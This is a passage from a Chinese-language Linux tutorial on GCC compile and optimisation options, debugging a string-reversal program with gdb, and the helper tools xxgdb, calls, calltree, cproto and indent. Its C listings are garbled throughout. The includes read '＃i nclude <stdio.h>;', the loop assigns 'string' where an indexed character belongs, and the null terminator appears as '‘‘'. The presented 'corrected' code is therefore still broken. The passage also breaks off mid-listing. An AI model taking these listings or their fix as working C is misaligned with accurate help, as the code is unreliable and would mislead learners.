gcc -pg test.c
第一條命令告訴 GCC 編譯 test.c 時(shí)為 prof 命令建立剖析(profile)信息并且把調試信
息加入到可執行的文件里. 第二條命令只告訴 GCC 為 gprof 命令建立剖析信息.
當你不用任何選項編譯一個(gè)程序時(shí), GCC 將會(huì )建立(假定編譯成功)一個(gè)名為 a.out 的可
執行文件. 例如, 下面的命令將在當前目錄下產(chǎn)生一個(gè)叫 a.out 的文件:
gcc test.c
你能用 -o 編譯選項來(lái)為將產(chǎn)生的可執行文件指定一個(gè)文件名來(lái)代替 a.out. 例如, 將一
個(gè)叫 count.c 的 C 程序編譯為名叫 count 的可執行文件, 你將輸入下面的命令:
gcc -o count count.c
------------------------------------------------------------------------------
--
注意: 當你使用 -o 選項時(shí), -o 后面必須跟一個(gè)文件名.
------------------------------------------------------------------------------
--
GCC 同樣有指定編譯器處理多少的編譯選項. -c 選項告訴 GCC 僅把源代碼編譯為目標代
碼而跳過(guò)匯編和連接的步驟. 這個(gè)選項使用的非常頻繁因為它使得編譯多個(gè) C 程序時(shí)速
度更快并且更易于管理. 缺省時(shí) GCC 建立的目標代碼文件有一個(gè) .o 的擴展名.
-S 編譯選項告訴 GCC 在為 C 代碼產(chǎn)生了匯編語(yǔ)言文件后停止編譯. GCC 產(chǎn)生的匯編語(yǔ)
言文件的缺省擴展名是 .s . -E 選項指示編譯器僅對輸入文件進(jìn)行預處理. 當這個(gè)選項
被使用時(shí), 預處理器的輸出被送到標準輸出而不是儲存在文件里.
優(yōu) 化 選 項
當你用 GCC 編譯 C 代碼時(shí), 它會(huì )試著(zhù)用最少的時(shí)間完成編譯并且使編譯后的代碼易于調
試. 易于調試意味著(zhù)編譯后的代碼與源代碼有同樣的執行次序, 編譯后的代碼沒(méi)有經(jīng)過(guò)優(yōu)
化. 有很多選項可用于告訴 GCC 在耗費更多編譯時(shí)間和犧牲易調試性的基礎上產(chǎn)生更小
更快的可執行文件. 這些選項中最典型的是-O 和 -O2 選項.
-O 選項告訴 GCC 對源代碼進(jìn)行基本優(yōu)化. 這些優(yōu)化在大多數情況下都會(huì )使程序執行的更
快. -O2 選項告訴 GCC 產(chǎn)生盡可能小和盡可能快的代碼. -O2 選項將使編譯的速度比使
用 -O 時(shí)慢. 但通常產(chǎn)生的代碼執行速度會(huì )更快.
除了 -O 和 -O2 優(yōu)化選項外, 還有一些低級選項用于產(chǎn)生更快的代碼. 這些選項非常的
特殊, 而且最好只有當你完全理解這些選項將會(huì )對編譯后的代碼產(chǎn)生什么樣的效果時(shí)再去
使用. 這些選項的詳細描述, 請參考 GCC 的指南頁(yè), 在命令行上鍵入 man gcc .
調試和剖析選項
GCC 支持數種調試和剖析選項. 在這些選項里你會(huì )最常用到的是 -g 和 -pg 選項.
-g 選項告訴 GCC 產(chǎn)生能被 GNU 調試器使用的調試信息以便調試你的程序. GCC 提供了
一個(gè)很多其他 C 編譯器里沒(méi)有的特性, 在 GCC 里你能使 -g 和 -O (產(chǎn)生優(yōu)化代碼)聯(lián)用
.. 這一點(diǎn)非常有用因為你能在與最終產(chǎn)品盡可能相近的情況下調試你的代碼. 在你同時(shí)使
用這兩個(gè)選項時(shí)你必須清楚你所寫(xiě)的某些代碼已經(jīng)在優(yōu)化時(shí)被 GCC 作了改動(dòng). 關(guān)于調試
C 程序的更多信息請看下一節"用 gdb 調試 C 程序" .
-pg 選項告訴 GCC 在你的程序里加入額外的代碼, 執行時(shí), 產(chǎn)生 gprof 用的剖析信息以
顯示你的程序的耗時(shí)情況. 關(guān)于 gprof 的更多信息請參考 "gprof" 一節.
用 gdb 調試 GCC 程序
Linux 包含了一個(gè)叫 gdb 的 GNU 調試程序. gdb 是一個(gè)用來(lái)調試 C 和 C++ 程序的強力
調試器. 它使你能在程序運行時(shí)觀(guān)察程序的內部結構和內存的使用情況. 以下是 gdb 所
提供的一些功能:
它使你能監視你程序中變量的值.
它使你能設置斷點(diǎn)以使程序在指定的代碼行上停止執行.
它使你能一行行的執行你的代碼.
在命令行上鍵入 gdb 并按回車(chē)鍵就可以運行 gdb 了, 如果一切正常的話(huà), gdb 將被啟動(dòng)
并且你將在屏幕上看到類(lèi)似的內容:
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
(gdb)
當你啟動(dòng) gdb 后, 你能在命令行上指定很多的選項. 你也可以以下面的方式來(lái)運行 gdb
:
gdb <fname>;
當你用這種方式運行 gdb , 你能直接指定想要調試的程序. 這將告訴gdb 裝入名為
fname 的可執行文件. 你也可以用 gdb 去檢查一個(gè)因程序異常終止而產(chǎn)生的 core 文件,
或者與一個(gè)正在運行的程序相連. 你可以參考 gdb 指南頁(yè)或在命令行上鍵入 gdb -h 得
到一個(gè)有關(guān)這些選項的說(shuō)明的簡(jiǎn)單列表.
為調試編譯代碼(Compiling Code for Debugging)
為了使 gdb 正常工作, 你必須使你的程序在編譯時(shí)包含調試信息. 調試信息包含你程序
里的每個(gè)變量的類(lèi)型和在可執行文件里的地址映射以及源代碼的行號. gdb 利用這些信
息使源代碼和機器碼相關(guān)聯(lián).
在編譯時(shí)用 -g 選項打開(kāi)調試選項.
gdb 基本命令
gdb 支持很多的命令使你能實(shí)現不同的功能. 這些命令從簡(jiǎn)單的文件裝入到允許你檢查所
調用的堆棧內容的復雜命令, 表27.1列出了你在用 gdb 調試時(shí)會(huì )用到的一些命令. 想了
解 gdb 的詳細使用請參考 gdb 的指南頁(yè).
基本 gdb 命令.
命 令 描 述
file 裝入想要調試的可執行文件.
kill 終止正在調試的程序.
list 列出產(chǎn)生執行文件的源代碼的一部分.
next 執行一行源代碼但不進(jìn)入函數內部.
step 執行一行源代碼而且進(jìn)入函數內部.
run 執行當前被調試的程序
quit 終止 gdb
watch 使你能監視一個(gè)變量的值而不管它何時(shí)被改變.
print 顯示表達式的值
break 在代碼里設置斷點(diǎn), 這將使程序執行到這里時(shí)被掛起.
make 使你能不退出 gdb 就可以重新產(chǎn)生可執行文件.
shell 使你能不離開(kāi) gdb 就執行 UNIX shell 命令.
gdb 支持很多與 UNIX shell 程序一樣的命令編輯特征. 你能象在 bash 或 tcsh里那樣
按 Tab 鍵讓 gdb 幫你補齊一個(gè)唯一的命令, 如果不唯一的話(huà) gdb 會(huì )列出所有匹配的命
令. 你也能用光標鍵上下翻動(dòng)歷史命令.
gdb 應用舉例
本節用一個(gè)實(shí)例教你一步步的用 gdb 調試程序. 被調試的程序相當的簡(jiǎn)單, 但它展示了
gdb 的典型應用.
下面列出了將被調試的程序. 這個(gè)程序被稱(chēng)為 hello , 它顯示一個(gè)簡(jiǎn)單的問(wèn)候, 再用反
序將它列出.
＃i nclude <stdio.h>;
static void my_print (char *);
static void my_print2 (char *);
main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}
void my_print (char *string)
{
printf ("The string is %s ", string);
}
void my_print2 (char *string)
{
char *string2;
int size, i;
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size - i] = string;
string2[size+1] = ‘‘;
printf ("The string printed backward is %s ", string2);
}
用下面的命令編譯它:
gcc -g -o hello hello.c
這個(gè)程序執行時(shí)顯示如下結果:
../hello
The string is hello world!
The string printed backward is
輸出的第一行是正確的, 但第二行打印出的東西并不是我們所期望的. 我們所設想的輸出
應該是:
The string printed backward is !dlrow olleh
由于某些原因, my_print2 函數沒(méi)有正常工作. 讓我們用 gdb 看看問(wèn)題究竟出在哪兒,
先鍵入如下命令:
gdb hello
------------------------------------------------------------------------------
--
注意: 記得在編譯 hello 程序時(shí)把調試選項打開(kāi).
------------------------------------------------------------------------------
--
如果你在輸入命令時(shí)忘了把要調試的程序作為參數傳給 gdb , 你可以在 gdb 提示符下用
file 命令來(lái)載入它:
(gdb) file hello
這個(gè)命令將載入 hello 可執行文件就象你在 gdb 命令行里裝入它一樣.
這時(shí)你能用 gdb 的 run 命令來(lái)運行 hello 了. 當它在 gdb 里被運行后結果大約會(huì )象這
樣:
(gdb) run
Starting program: /root/hello
The string is hello world!
The string printed backward is
Program exited with code 040
這個(gè)輸出和在 gdb 外面運行的結果一樣. 問(wèn)題是, 為什么反序打印沒(méi)有工作? 為了找出
癥結所在, 我們可以在 my_print2 函數的 for 語(yǔ)句后設一個(gè)斷點(diǎn), 具體的做法是在 gdb
提示符下鍵入 list 命令三次, 列出源代碼:
(gdb) list
(gdb) list
(gdb) list
------------------------------------------------------------------------------
--
技巧: 在 gdb 提示符下按回車(chē)健將重復上一個(gè)命令.
------------------------------------------------------------------------------
--
第一次鍵入 list 命令的輸出如下:
1 ＃i nclude <stdio.h>;
2
3 static void my_print (char *);
4 static void my_print2 (char *);
5
6 main ()
7 {
8 char my_string[] = "hello world!";
9 my_print (my_string);
10 my_print2 (my_string);
如果按下回車(chē), gdb 將再執行一次 list 命令, 給出下列輸出:
11 }
12
13 void my_print (char *string)
14 {
15 printf ("The string is %s ", string);
16 }
17
18 void my_print2 (char *string)
19 {
20 char *string2;
再按一次回車(chē)將列出 hello 程序的剩余部分:
21 int size, i;
22
23 size = strlen (string);
24 string2 = (char *) malloc (size + 1);
25 for (i = 0; i < size; i++)
26 string2[size - i] = string;
27 string2[size+1] = ‘‘;
28
29 printf ("The string printed backward is %s ", string2);
30 }
根據列出的源程序, 你能看到要設斷點(diǎn)的地方在第26行, 在 gdb 命令行提示符下鍵入如
下命令設置斷點(diǎn):
(gdb) break 26
gdb 將作出如下的響應:
Breakpoint 1 at 0x804857c: file hello.c, line 26.
(gdb)
現在再鍵入 run 命令, 將產(chǎn)生如下的輸出:
Starting program: /root/hello
The string is hello world!
Breakpoint 1, my_print2 (string=0xbffffab0 "hello world!") at hello.c:26
26 string2[size - i] = string;
你能通過(guò)設置一個(gè)觀(guān)察 string2[size - i] 變量的值的觀(guān)察點(diǎn)來(lái)看出錯誤是怎樣產(chǎn)生的,
做法是鍵入:
(gdb) watch string2[size - i]
gdb 將作出如下回應:
Hardware watchpoint 2: string2[size - i]
現在可以用 next 命令來(lái)一步步的執行 for 循環(huán)了:
(gdb) next
經(jīng)過(guò)第一次循環(huán)后, gdb 告訴我們 string2[size - i] 的值是 `h`. gdb 用如下的顯示
來(lái)告訴你這個(gè)信息:
Hardware watchpoint 2: string2[size - i]
Old value = 0 ‘00‘
New value = 104 ‘h‘
my_print2 (string=0xbffffab0 "hello world!") at hello.c:25
25 for (i = 0; i < size; i++)
這個(gè)值正是期望的. 后來(lái)的數次循環(huán)的結果都是正確的. 當 i=11 時(shí), 表達式
string2[size - i] 的值等于 `!`, size - i 的值等于 1, 最后一個(gè)字符已經(jīng)拷到新串
里了.
如果你再把循環(huán)執行下去, 你會(huì )看到已經(jīng)沒(méi)有值分配給 string2[0] 了, 而它是新串的
第一個(gè)字符, 因為 malloc 函數在分配內存時(shí)把它們初始化為空(null)字符. 所以
string2 的第一個(gè)字符是空字符. 這解釋了為什么在打印 string2 時(shí)沒(méi)有任何輸出了.
現在找出了問(wèn)題出在哪里, 修正這個(gè)錯誤是很容易的. 你得把代碼里寫(xiě)入 string2 的第
一個(gè)字符的的偏移量改為 size - 1 而不是 size. 這是因為 string2 的大小為 12, 但
起始偏移量是 0, 串內的字符從偏移量 0 到 偏移量 10, 偏移量 11 為空字符保留.
改正方法非常簡(jiǎn)單. 這是這種解決辦法的代碼:
＃i nclude <stdio.h>;
static void my_print (char *);
static void my_print2 (char *);
main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}
void my_print (char *string)
{
printf ("The string is %s ", string);
}
void my_print2 (char *string)
{
char *string2;
int size, i;
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size -1 - i] = string;
string2[size] = ‘‘;
printf ("The string printed backward is %s ", string2);
}
如果程序產(chǎn)生了core文件，可以用gdb hello core命令來(lái)查看程序在何處出錯。如在函數
my_print2()中，如果忘記了給string2分配內存 string2 = (char *) malloc (size +
1);，很可能就會(huì )core dump.
另外的 C 編程工具
xxgdb
xxgdb 是 gdb 的一個(gè)基于 X Window 系統的圖形界面. xxgdb 包括了命令行版的 gdb
上的所有特性. xxgdb 使你能通過(guò)按按鈕來(lái)執行常用的命令. 設置了斷點(diǎn)的地方也用圖
形來(lái)顯示.
你能在一個(gè) Xterm 窗口里鍵入下面的命令來(lái)運行它:
xxgdb
你能用 gdb 里任何有效的命令行選項來(lái)初始化 xxgdb . 此外 xxgdb 也有一些特有的命
令行選項, 表 27.2 列出了這些選項.
表 27.2. xxgdb 命令行選項.
選 項 描 述
db_name 指定所用調試器的名字, 缺省是 gdb.
db_prompt 指定調試器提示符, 缺省為 gdb.
gdbinit 指定初始化 gdb 的命令文件的文件名, 缺省為 .gdbinit.
nx 告訴 xxgdb 不執行 .gdbinit 文件.
bigicon 使用大圖標.
calls
你可以在 sunsite.unc.edu FTP 站點(diǎn)用下面的路徑:
/pub/Linux/devel/lang/c/calls.tar.Z
來(lái)取得 calls , 一些舊版本的 Linux CD-ROM 發(fā)行版里也附帶有. 因為它是一個(gè)有用的
工具, 我們在這里也介紹一下. 如果你覺(jué)得有用的話(huà), 從 BBS, FTP, 或另一張CD-ROM 上
弄一個(gè)拷貝. calls 調用 GCC 的預處理器來(lái)處理給出的源程序文件, 然后輸出這些文件
的里的函數調用樹(shù)圖.
注意: 在你的系統上安裝 calls , 以超級用戶(hù)身份登錄后執行下面的步驟: 1. 解壓和
untar 文件. 2. cd 進(jìn)入 calls untar 后建立的子目錄. 3. 把名叫 calls 的文件移動(dòng)
到 /usr/bin 目錄. 4. 把名叫 calls.1 的文件移動(dòng)到目錄 /usr/man/man1 . 5. 刪除
/tmp/calls 目錄. 這些步驟將把 calls 程序和它的指南頁(yè)安裝載你的系統上.
------------------------------------------------------------------------------
--
當 calls 打印出調用跟蹤結果時(shí), 它在函數后面用中括號給出了函數所在文件的文件名:
main [hello.c]
如果函數并不是向 calls 給出的文件里的, calls 不知道所調用的函數來(lái)自哪里, 則只
顯示函數的名字:
printf
calls 不對遞歸和靜態(tài)函數輸出. 遞歸函數顯示成下面的樣子:
fact <<< recursive in factorial.c >;>;>;
靜態(tài)函數象這樣顯示:
total [static in calculate.c]
作為一個(gè)例子, 假設用 calls 處理下面的程序:
＃i nclude <stdio.h>;
static void my_print (char *);
static void my_print2 (char *);
main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
my_print (my_string);
}
void count_sum()
{
int i,sum=0;
for(i=0; i<1000000; i++)
sum += i;
}
void my_print (char *string)
{
count_sum();
printf ("The string is %s ", string);
}
void my_print2 (char *string)
{
char *string2;
int size, i,sum =0;
count_sum();
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++) string2[size -1 - i] = string;
string2[size] = ‘‘;
for(i=0; i<5000000; i++)
sum += i;
printf ("The string printed backward is %s ", string2);
}
將產(chǎn)生如下的輸出:
1 __underflow [hello.c]
2 main
3 my_print [hello.c]
4 count_sum [hello.c]
5 printf
6 my_print2 [hello.c]
7 count_sum
8 strlen
9 malloc
10 printf
calls 有很多命令行選項來(lái)設置不同的輸出格式, 有關(guān)這些選項的更多信息請參考 calls
的指南頁(yè). 方法是在命令行上鍵入 calls -h .
calltree
calltree與calls類(lèi)似，初了輸出函數調用樹(shù)圖外，還有其它詳細的信息。
可以從sunsite.unc.edu FTP 站點(diǎn)用下面的路徑
:/pub/Linux/devel/lang/c/calltree.tar.gz得到calltree.
cproto
cproto 讀入 C 源程序文件并自動(dòng)為每個(gè)函數產(chǎn)生原型申明. 用 cproto 可以在寫(xiě)程序時(shí)
為你節省大量用來(lái)定義函數原型的時(shí)間.
如果你讓 cproto 處理下面的代碼(cproto hello.c):
＃i nclude <stdio.h>;
static void my_print (char *);
static void my_print2 (char *);
main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}
void my_print (char *string)
{
printf ("The string is %s ", string);
}
void my_print2 (char *string)
{
char *string2;
int size, i;
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size -1 - i] = string;
string2[size] = ‘‘;
printf ("The string printed backward is %s ", string2);
}
你將得到下面的輸出:
/* hello.c */
int main(void);
int my_print(char *string);
int my_print2(char *string);
這個(gè)輸出可以重定向到一個(gè)定義函數原型的包含文件里.
indent
indent 實(shí)用程序是 Linux 里包含的另一個(gè)編程實(shí)用工具. 這個(gè)工具簡(jiǎn)單的說(shuō)就為你的代
碼產(chǎn)生美觀(guān)的縮進(jìn)的格式. indent 也有很多選項來(lái)指定如何格式化你的源代碼.這些選項
的更多信息請看indent 的指南頁(yè), 在命令行上鍵入 indent -h .
下面的例子是 indent 的缺省輸出:
運行 indent 以前的 C 代碼:
＃i nclude <stdio.h>;
static void my_print (char *);
static void my_print2 (char *);
main ()
{
char my_string[] = "hello world!";
my_print (my_string);
my_print2 (my_string);
}
void my_print (char *string)
{
printf ("The string is %s ", string);
}
void my_print2 (char *string)
{
char *string2; int size, i;
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i & |
